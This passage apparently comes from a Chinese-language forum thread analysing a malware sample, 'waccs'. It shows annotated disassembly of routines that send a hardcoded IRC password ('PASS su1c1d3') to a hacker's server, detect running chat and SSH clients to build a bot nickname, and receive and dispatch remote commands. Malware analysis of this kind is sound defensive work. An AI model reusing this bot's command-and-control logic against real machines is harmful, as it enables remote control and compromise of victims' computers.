0040121E    85C0            TEST EAX,EAX
00401220    74 04           JE SHORT waccs.00401226
00401222    32C0            XOR AL,AL
00401224    EB 02           JMP SHORT waccs.00401228
00401226    B0 01           MOV AL,1
00401228    C9              LEAVE
00401229    C3              RETN                                     ; 返回.


构造发送数据包(格式:PASS %s):
00401000    55              PUSH EBP
00401001    8BEC            MOV EBP,ESP
00401003    81EC 08040000   SUB ESP,408
00401009    68 00040000     PUSH 400
0040100E    6A 00           PUSH 0
00401010    8D85 00FCFFFF   LEA EAX,DWORD PTR SS:[EBP-400]
00401016    50              PUSH EAX
00401017    E8 1E600000     CALL waccs.0040703A                      ; JMP 到 msvcrt.memset
0040101C    83C4 0C         ADD ESP,0C
0040101F    8D45 10         LEA EAX,DWORD PTR SS:[EBP+10]
00401022    8985 FCFBFFFF   MOV DWORD PTR SS:[EBP-404],EAX
00401028    FFB5 FCFBFFFF   PUSH DWORD PTR SS:[EBP-404]              ; /arglist = 0012F784
0040102E    FF75 0C         PUSH DWORD PTR SS:[EBP+C]                ; |format = "PASS %s"
00401031    68 00040000     PUSH 400                                 ; |count = 400 (1024.)
00401036    8D85 00FCFFFF   LEA EAX,DWORD PTR SS:[EBP-400]
0040103C    50              PUSH EAX                                 ; |buffer = 0012F374
0040103D    E8 F25F0000     CALL waccs.00407034                      ; JMP 到 msvcrt._vsnprintf
00401042    83C4 10         ADD ESP,10
00401045    83A5 FCFBFFFF 0>AND DWORD PTR SS:[EBP-404],0
0040104C    68 00040000     PUSH 400                                 ; /maxlen = 400 (1024.)
00401051    68 246752BF     PUSH BF526724
00401056    8D8D F8FBFFFF   LEA ECX,DWORD PTR SS:[EBP-408]
0040105C    E8 B5100000     CALL waccs.00402116                      ; ASCII "\n"
00401061    50              PUSH EAX                                 ; |src = "\n"
00401062    8D85 00FCFFFF   LEA EAX,DWORD PTR SS:[EBP-400]
00401068    50              PUSH EAX                                 ; |dest = "PASS su1c1d3"
00401069    E8 C05F0000     CALL waccs.0040702E                      ; JMP 到 msvcrt.strncat
0040106E    83C4 0C         ADD ESP,0C
00401071    8D8D F8FBFFFF   LEA ECX,DWORD PTR SS:[EBP-408]
00401077    E8 820F0000     CALL waccs.00401FFE                      ; 清除内存数据.
0040107C    6A 00           PUSH 0                                   ; /Flags = 0
0040107E    8D85 00FCFFFF   LEA EAX,DWORD PTR SS:[EBP-400]
00401084    50              PUSH EAX                                 ; /s = "PASS su1c1d3\n"
00401085    E8 9E5F0000     CALL waccs.00407028                      ; JMP 到 msvcrt.strlen
0040108A    59              POP ECX
0040108B    50              PUSH EAX                                 ; |DataSize = E (14.)
0040108C    8D85 00FCFFFF   LEA EAX,DWORD PTR SS:[EBP-400]
00401092    50              PUSH EAX                                 ; |Data = 0012F374
00401093    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
00401096    FF30            PUSH DWORD PTR DS:[EAX]                  ; |Socket = B4
00401098    FF15 C4814000   CALL DWORD PTR DS:[4081C4]               ; WS2_32.send
0040109E    85C0            TEST EAX,EAX
004010A0    7E 04           JLE SHORT waccs.004010A6
004010A2    B0 01           MOV AL,1
004010A4    EB 02           JMP SHORT waccs.004010A8
004010A6    32C0            XOR AL,AL
004010A8    C9              LEAVE
004010A9    C3              RETN                                     ; 返回.

该用户从未签到

 楼主| 发表于 2008-6-15 12:55:26 | 显示全部楼层
查找系统中是否运行某些通讯工具,并构造发送数据包(格式:NICK %s):
0040122A    55              PUSH EBP
0040122B    8BEC            MOV EBP,ESP
0040122D    81EC 08010000   SUB ESP,108
00401233    56              PUSH ESI
00401234    57              PUSH EDI
00401235    6A 09           PUSH 9
00401237    59              POP ECX
00401238    BE 30904000     MOV ESI,waccs.00409030                   ; ASCII "abcdefghijklmnopqrstuvwxyz1234567890"
0040123D    8D7D B4         LEA EDI,DWORD PTR SS:[EBP-4C]
00401240    F3:A5           REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
00401242    A4              MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00401243    6A 04           PUSH 4
00401245    6A 00           PUSH 0
00401247    8D45 FC         LEA EAX,DWORD PTR SS:[EBP-4]
0040124A    50              PUSH EAX
0040124B    E8 EA5D0000     CALL waccs.0040703A                      ; JMP 到 msvcrt.memset
00401250    83C4 0C         ADD ESP,0C
00401253    6A 19           PUSH 19
00401255    6A 00           PUSH 0
00401257    8D45 E0         LEA EAX,DWORD PTR SS:[EBP-20]
0040125A    50              PUSH EAX
0040125B    E8 DA5D0000     CALL waccs.0040703A                      ; JMP 到 msvcrt.memset
00401260    83C4 0C         ADD ESP,0C
00401263    FF15 68804000   CALL DWORD PTR DS:[408068]               ; kernel32.GetTickCount
00401269    50              PUSH EAX
0040126A    E8 DD5D0000     CALL waccs.0040704C                      ; JMP 到 msvcrt.srand(生成随机数).
0040126F    59              POP ECX
00401270    8365 DC 00      AND DWORD PTR SS:[EBP-24],0
00401274    EB 07           JMP SHORT waccs.0040127D
00401276    8B45 DC         MOV EAX,DWORD PTR SS:[EBP-24]
00401279    40              INC EAX
0040127A    8945 DC         MOV DWORD PTR SS:[EBP-24],EAX
0040127D    837D DC 0A      CMP DWORD PTR SS:[EBP-24],0A
00401281    73 19           JNB SHORT waccs.0040129C                 ; 生成10位随机数.
00401283    E8 BE5D0000     CALL waccs.00407046                      ; JMP 到 msvcrt.rand(生成随机数).
00401288    33D2            XOR EDX,EDX
0040128A    6A 24           PUSH 24
0040128C    59              POP ECX
0040128D    F7F1            DIV ECX
0040128F    8B45 DC         MOV EAX,DWORD PTR SS:[EBP-24]
00401292    8A4C15 B4       MOV CL,BYTE PTR SS:[EBP+EDX-4C]
00401296    884C05 E0       MOV BYTE PTR SS:[EBP+EAX-20],CL
0040129A ^ EB DA           JMP SHORT waccs.00401276
0040129C    6A 04           PUSH 4                                   ; /BufSize = 4
0040129E    8D45 FC         LEA EAX,DWORD PTR SS:[EBP-4]
004012A1    50              PUSH EAX                                 ; |Buffer = 0012F778
004012A2    6A 07           PUSH 7                                   ; |InfoType = 7
004012A4    68 00080000     PUSH 800                                 ; |LocaleId = 800
004012A9    FF15 64804000   CALL DWORD PTR DS:[408064]               ; kernel32.GetLocaleInfoA(获取设置参数).
004012AF    6A 00           PUSH 0
004012B1    68 52362A35     PUSH 352A3652
004012B6    8D4D 98         LEA ECX,DWORD PTR SS:[EBP-68]
004012B9    E8 78120000     CALL waccs.00402536                      ; ASCII "tSkMainForm.UnicodeClass"
004012BE    50              PUSH EAX                                 ; Class = "tSkMainForm.UnicodeClass"
004012BF    FF15 88814000   CALL DWORD PTR DS:[408188]               ; USER32.FindWindowA
004012C5    85C0            TEST EAX,EAX
004012C7    74 0C           JE SHORT waccs.004012D5
004012C9    C785 10FFFFFF 7>MOV DWORD PTR SS:[EBP-F0],waccs.00409074
004012D3    EB 0A           JMP SHORT waccs.004012DF
004012D5    C785 10FFFFFF B>MOV DWORD PTR SS:[EBP-F0],waccs.0040A0B8
004012DF    6A 00           PUSH 0
004012E1    68 63E1E390     PUSH 90E3E163
004012E6    8D4D 90         LEA ECX,DWORD PTR SS:[EBP-70]
004012E9    E8 E8110000     CALL waccs.004024D6                      ; ASCII "PuTTY"
004012EE    50              PUSH EAX
004012EF    FF15 88814000   CALL DWORD PTR DS:[408188]               ; USER32.FindWindowA
004012F5    85C0            TEST EAX,EAX
004012F7    74 0C           JE SHORT waccs.00401305
004012F9    C785 0CFFFFFF 8>MOV DWORD PTR SS:[EBP-F4],waccs.00409080
00401303    EB 0A           JMP SHORT waccs.0040130F
00401305    C785 0CFFFFFF B>MOV DWORD PTR SS:[EBP-F4],waccs.0040A0BC
0040130F    6A 00           PUSH 0
00401311    68 698783CA     PUSH CA838769
00401316    8D4D 84         LEA ECX,DWORD PTR SS:[EBP-7C]
00401319    E8 58110000     CALL waccs.00402476
0040131E    50              PUSH EAX                                 ; ASCII "TFrmMain"
0040131F    FF15 88814000   CALL DWORD PTR DS:[408188]               ; USER32.FindWindowA
00401325    85C0            TEST EAX,EAX
00401327    74 0C           JE SHORT waccs.00401335
00401329    C785 08FFFFFF 9>MOV DWORD PTR SS:[EBP-F8],waccs.00409090
00401333    EB 0A           JMP SHORT waccs.0040133F
00401335    C785 08FFFFFF C>MOV DWORD PTR SS:[EBP-F8],waccs.0040A0C0
0040133F    6A 00           PUSH 0
00401341    68 D452AC45     PUSH 45AC52D4
00401346    8D8D 74FFFFFF   LEA ECX,DWORD PTR SS:[EBP-8C]
0040134C    E8 C5100000     CALL waccs.00402416
00401351    50              PUSH EAX                                 ; ASCII "YahooBuddyMain"
00401352    FF15 88814000   CALL DWORD PTR DS:[408188]               ; USER32.FindWindowA
00401358    85C0            TEST EAX,EAX
0040135A    74 0C           JE SHORT waccs.00401368
0040135C    C785 04FFFFFF A>MOV DWORD PTR SS:[EBP-FC],waccs.004090A4
00401366    EB 0A           JMP SHORT waccs.00401372
00401368    C785 04FFFFFF C>MOV DWORD PTR SS:[EBP-FC],waccs.0040A0C4
00401372    6A 00           PUSH 0
00401374    68 ED96D04C     PUSH 4CD096ED
00401379    8D8D 64FFFFFF   LEA ECX,DWORD PTR SS:[EBP-9C]
0040137F    E8 32100000     CALL waccs.004023B6
00401384    50              PUSH EAX                                 ; ASCII "MSBLWindowClass"
00401385    FF15 88814000   CALL DWORD PTR DS:[408188]               ; USER32.FindWindowA
0040138B    85C0            TEST EAX,EAX
0040138D    74 0C           JE SHORT waccs.0040139B
0040138F    C785 00FFFFFF B>MOV DWORD PTR SS:[EBP-100],waccs.004090B>
00401399    EB 0A           JMP SHORT waccs.004013A5
0040139B    C785 00FFFFFF C>MOV DWORD PTR SS:[EBP-100],waccs.0040A0C>
004013A5    6A 00           PUSH 0
004013A7    68 64E255AD     PUSH AD55E264
004013AC    8D8D 50FFFFFF   LEA ECX,DWORD PTR SS:[EBP-B0]
004013B2    E8 9F0F0000     CALL waccs.00402356
004013B7    50              PUSH EAX                                 ; ASCII "_Oscar_StatusNotify"
004013B8    FF15 88814000   CALL DWORD PTR DS:[408188]               ; USER32.FindWindowA
004013BE    85C0            TEST EAX,EAX
004013C0    74 0C           JE SHORT waccs.004013CE
004013C2    C785 FCFEFFFF D>MOV DWORD PTR SS:[EBP-104],waccs.004090D>
004013CC    EB 0A           JMP SHORT waccs.004013D8
004013CE    C785 FCFEFFFF C>MOV DWORD PTR SS:[EBP-104],waccs.0040A0C>
004013D8    6A 00           PUSH 0
004013DA    68 B7B86706     PUSH 667B8B7
004013DF    8D8D 3CFFFFFF   LEA ECX,DWORD PTR SS:[EBP-C4]
004013E5    E8 0C0F0000     CALL waccs.004022F6
004013EA    50              PUSH EAX                                 ; ASCII "__oxFrame.class__"
004013EB    FF15 88814000   CALL DWORD PTR DS:[408188]               ; USER32.FindWindowA
004013F1    85C0            TEST EAX,EAX
004013F3    74 0C           JE SHORT waccs.00401401
004013F5    C785 F8FEFFFF E>MOV DWORD PTR SS:[EBP-108],waccs.004090E>
004013FF    EB 0A           JMP SHORT waccs.0040140B
00401401    C785 F8FEFFFF D>MOV DWORD PTR SS:[EBP-108],waccs.0040A0D>
0040140B    8D45 E0         LEA EAX,DWORD PTR SS:[EBP-20]
0040140E    50              PUSH EAX
0040140F    8D45 FC         LEA EAX,DWORD PTR SS:[EBP-4]
00401412    50              PUSH EAX
00401413    FFB5 10FFFFFF   PUSH DWORD PTR SS:[EBP-F0]
00401419    FFB5 0CFFFFFF   PUSH DWORD PTR SS:[EBP-F4]
0040141F    FFB5 08FFFFFF   PUSH DWORD PTR SS:[EBP-F8]
00401425    FFB5 04FFFFFF   PUSH DWORD PTR SS:[EBP-FC]
0040142B    FFB5 00FFFFFF   PUSH DWORD PTR SS:[EBP-100]
00401431    FFB5 FCFEFFFF   PUSH DWORD PTR SS:[EBP-104]
00401437    FFB5 F8FEFFFF   PUSH DWORD PTR SS:[EBP-108]
0040143D    E8 6D270000     CALL waccs.00403BAF                      ; 排列数据.
00401442    50              PUSH EAX
00401443    68 D82E8AAE     PUSH AE8A2ED8
00401448    8D8D 20FFFFFF   LEA ECX,DWORD PTR SS:[EBP-E0]
0040144E    E8 430E0000     CALL waccs.00402296                      ; ASCII "\%0.2u%s%s%s%s%s%s%s\%3s\%s"
00401453    50              PUSH EAX
00401454    6A 1E           PUSH 1E
00401456    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
00401459    05 EC000000     ADD EAX,0EC
0040145E    50              PUSH EAX
0040145F    E8 DC5B0000     CALL waccs.00407040                      ; JMP 到 msvcrt._snprintf(ASCII "\00F\CHN\zsocxb7vm9").
00401464    83C4 34         ADD ESP,34
00401467    8D8D 20FFFFFF   LEA ECX,DWORD PTR SS:[EBP-E0]
0040146D    E8 4C0A0000     CALL waccs.00401EBE                      ; 清除内存数据.
00401472    8D8D 3CFFFFFF   LEA ECX,DWORD PTR SS:[EBP-C4]
00401478    E8 690A0000     CALL waccs.00401EE6                      ; 清除内存数据.
0040147D    8D8D 50FFFFFF   LEA ECX,DWORD PTR SS:[EBP-B0]
00401483    E8 860A0000     CALL waccs.00401F0E                      ; 清除内存数据.
00401488    8D8D 64FFFFFF   LEA ECX,DWORD PTR SS:[EBP-9C]
0040148E    E8 A30A0000     CALL waccs.00401F36                      ; 清除内存数据.
00401493    8D8D 74FFFFFF   LEA ECX,DWORD PTR SS:[EBP-8C]
00401499    E8 C00A0000     CALL waccs.00401F5E                      ; 清除内存数据.
0040149E    8D4D 84         LEA ECX,DWORD PTR SS:[EBP-7C]
004014A1    E8 200C0000     CALL waccs.004020C6                      ; 清除内存数据.
004014A6    8D4D 90         LEA ECX,DWORD PTR SS:[EBP-70]
004014A9    E8 D80A0000     CALL waccs.00401F86                      ; 清除内存数据.
004014AE    8D4D 98         LEA ECX,DWORD PTR SS:[EBP-68]
004014B1    E8 F80A0000     CALL waccs.00401FAE                      ; 清除内存数据.
004014B6    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
004014B9    05 EC000000     ADD EAX,0EC
004014BE    50              PUSH EAX
004014BF    68 2B298D3A     PUSH 3A8D292B
004014C4    8D8D 14FFFFFF   LEA ECX,DWORD PTR SS:[EBP-EC]
004014CA    E8 C7100000     CALL waccs.00402596                      ; ASCII "NICK %s"
004014CF    50              PUSH EAX
004014D0    FF75 08         PUSH DWORD PTR SS:[EBP+8]
004014D3    E8 28FBFFFF     CALL waccs.00401000                      ; 构造发送数据包(格式:NICK %s).
004014D8    83C4 0C         ADD ESP,0C
004014DB    0FB6C0          MOVZX EAX,AL
004014DE    F7D8            NEG EAX
004014E0    1BC0            SBB EAX,EAX
004014E2    40              INC EAX
004014E3    8885 1CFFFFFF   MOV BYTE PTR SS:[EBP-E4],AL
004014E9    8D8D 14FFFFFF   LEA ECX,DWORD PTR SS:[EBP-EC]
004014EF    E8 E20A0000     CALL waccs.00401FD6                      ; 清除内存数据.
004014F4    0FB685 1CFFFFFF MOVZX EAX,BYTE PTR SS:[EBP-E4]
004014FB    85C0            TEST EAX,EAX
004014FD    74 04           JE SHORT waccs.00401503
004014FF    32C0            XOR AL,AL
00401501    EB 02           JMP SHORT waccs.00401505
00401503    B0 01           MOV AL,1
00401505    5F              POP EDI
00401506    5E              POP ESI
00401507    C9              LEAVE
00401508    C3              RETN                                     ; 返回.


接收从骇客服务器返回的数据包,根据包中骇客定义好的“指令”执行相应的恶意操作:
00401509    55              PUSH EBP
0040150A    8BEC            MOV EBP,ESP
0040150C    B8 14100000     MOV EAX,1014
00401511    E8 4A5B0000     CALL waccs.00407060                      ; 初始化内存数据为空.
00401516    8D85 00F0FFFF   LEA EAX,DWORD PTR SS:[EBP-1000]
0040151C    8985 FCEFFFFF   MOV DWORD PTR SS:[EBP-1004],EAX
00401522    68 00100000     PUSH 1000
00401527    6A 00           PUSH 0
00401529    8D85 00F0FFFF   LEA EAX,DWORD PTR SS:[EBP-1000]
0040152F    50              PUSH EAX
00401530    E8 055B0000     CALL waccs.0040703A                      ; JMP 到 msvcrt.memset
00401535    83C4 0C         ADD ESP,0C
00401538    6A 00           PUSH 0                                   ; /Flags = 0
0040153A    68 00100000     PUSH 1000                                ; |BufSize = 1000 (4096.)
0040153F    8D85 00F0FFFF   LEA EAX,DWORD PTR SS:[EBP-1000]
00401545    50              PUSH EAX                                 ; |Buffer = 0012E7C8
00401546    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
00401549    FF30            PUSH DWORD PTR DS:[EAX]                  ; |Socket = CC
0040154B    FF15 E4814000   CALL DWORD PTR DS:[4081E4]               ; WS2_32.recv(接收骇客远程服务器反回的数据指令包).
00401551    8985 F4EFFFFF   MOV DWORD PTR SS:[EBP-100C],EAX
00401557    83BD F4EFFFFF 0>CMP DWORD PTR SS:[EBP-100C],0
0040155E    74 09           JE SHORT waccs.00401569
00401560    83BD F4EFFFFF F>CMP DWORD PTR SS:[EBP-100C],-1
00401567    75 0F           JNZ SHORT waccs.00401578
00401569    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
0040156C    FF30            PUSH DWORD PTR DS:[EAX]
0040156E    FF15 C8814000   CALL DWORD PTR DS:[4081C8]               ; WS2_32.closesocket(关闭连接).
00401574    32C0            XOR AL,AL
00401576    EB 6F           JMP SHORT waccs.004015E7
00401578    68 44F2FD81     PUSH 81FDF244
0040157D    8D8D ECEFFFFF   LEA ECX,DWORD PTR SS:[EBP-1014]
00401583    E8 6E100000     CALL waccs.004025F6                      ; ASCII "\n"
00401588    50              PUSH EAX
00401589    FFB5 FCEFFFFF   PUSH DWORD PTR SS:[EBP-1004]
0040158F    E8 BE5A0000     CALL waccs.00407052                      ; JMP 到 msvcrt.strstr
00401594    59              POP ECX
00401595    59              POP ECX
00401596    8985 F8EFFFFF   MOV DWORD PTR SS:[EBP-1008],EAX
0040159C    8B85 F8EFFFFF   MOV EAX,DWORD PTR SS:[EBP-1008]
004015A2    8985 F0EFFFFF   MOV DWORD PTR SS:[EBP-1010],EAX
004015A8    8D8D ECEFFFFF   LEA ECX,DWORD PTR SS:[EBP-1014]
004015AE    E8 4B0A0000     CALL waccs.00401FFE                      ; 清除内存数据.
004015B3    83BD F0EFFFFF 0>CMP DWORD PTR SS:[EBP-1010],0
004015BA    74 29           JE SHORT waccs.004015E5
004015BC    8B85 F8EFFFFF   MOV EAX,DWORD PTR SS:[EBP-1008]
004015C2    8020 00         AND BYTE PTR DS:[EAX],0
004015C5    FFB5 FCEFFFFF   PUSH DWORD PTR SS:[EBP-1004]
004015CB    FF75 08         PUSH DWORD PTR SS:[EBP+8]
004015CE    E8 16000000     CALL waccs.004015E9                      ; 解析从骇客服务器反回的数据包,根据包中骇客定义好的“指令”执行相应的恶意操作.
004015D3    59              POP ECX
004015D4    59              POP ECX
004015D5    8B85 F8EFFFFF   MOV EAX,DWORD PTR SS:[EBP-1008]
004015DB    40              INC EAX
004015DC    40              INC EAX
004015DD    8985 FCEFFFFF   MOV DWORD PTR SS:[EBP-1004],EAX
004015E3 ^ EB 93           JMP SHORT waccs.00401578
004015E5    B0 01           MOV AL,1
004015E7    C9              LEAVE
004015E8    C3              RETN                                     ; 返回.
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表